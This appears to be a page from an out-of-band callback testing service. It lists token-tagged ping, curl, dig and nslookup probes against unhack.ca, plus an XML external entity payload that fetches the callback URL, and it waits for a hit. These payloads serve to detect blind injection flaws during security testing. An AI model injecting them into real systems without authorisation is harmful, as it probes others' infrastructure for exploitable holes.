$ ping -c1 -p 00720a125d4d0ac8485c6d9ffc5afb00 unhack.ca
 
$ curl http://unhack.ca/p/720a125d4d0ac8485c6d9ffc5afb
 
$ dig 720a125d4d0ac8485c6d9ffc5afb @unhack.ca
 
$ dig 720a125d4d0ac8485c6d9ffc5afb.ns.unhack.ca
 
C:\> nslookup 720a125d4d0ac8485c6d9ffc5afb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/720a125d4d0ac8485c6d9ffc5afb">]>
    <foo>&xxe;</foo>
Waiting for ping...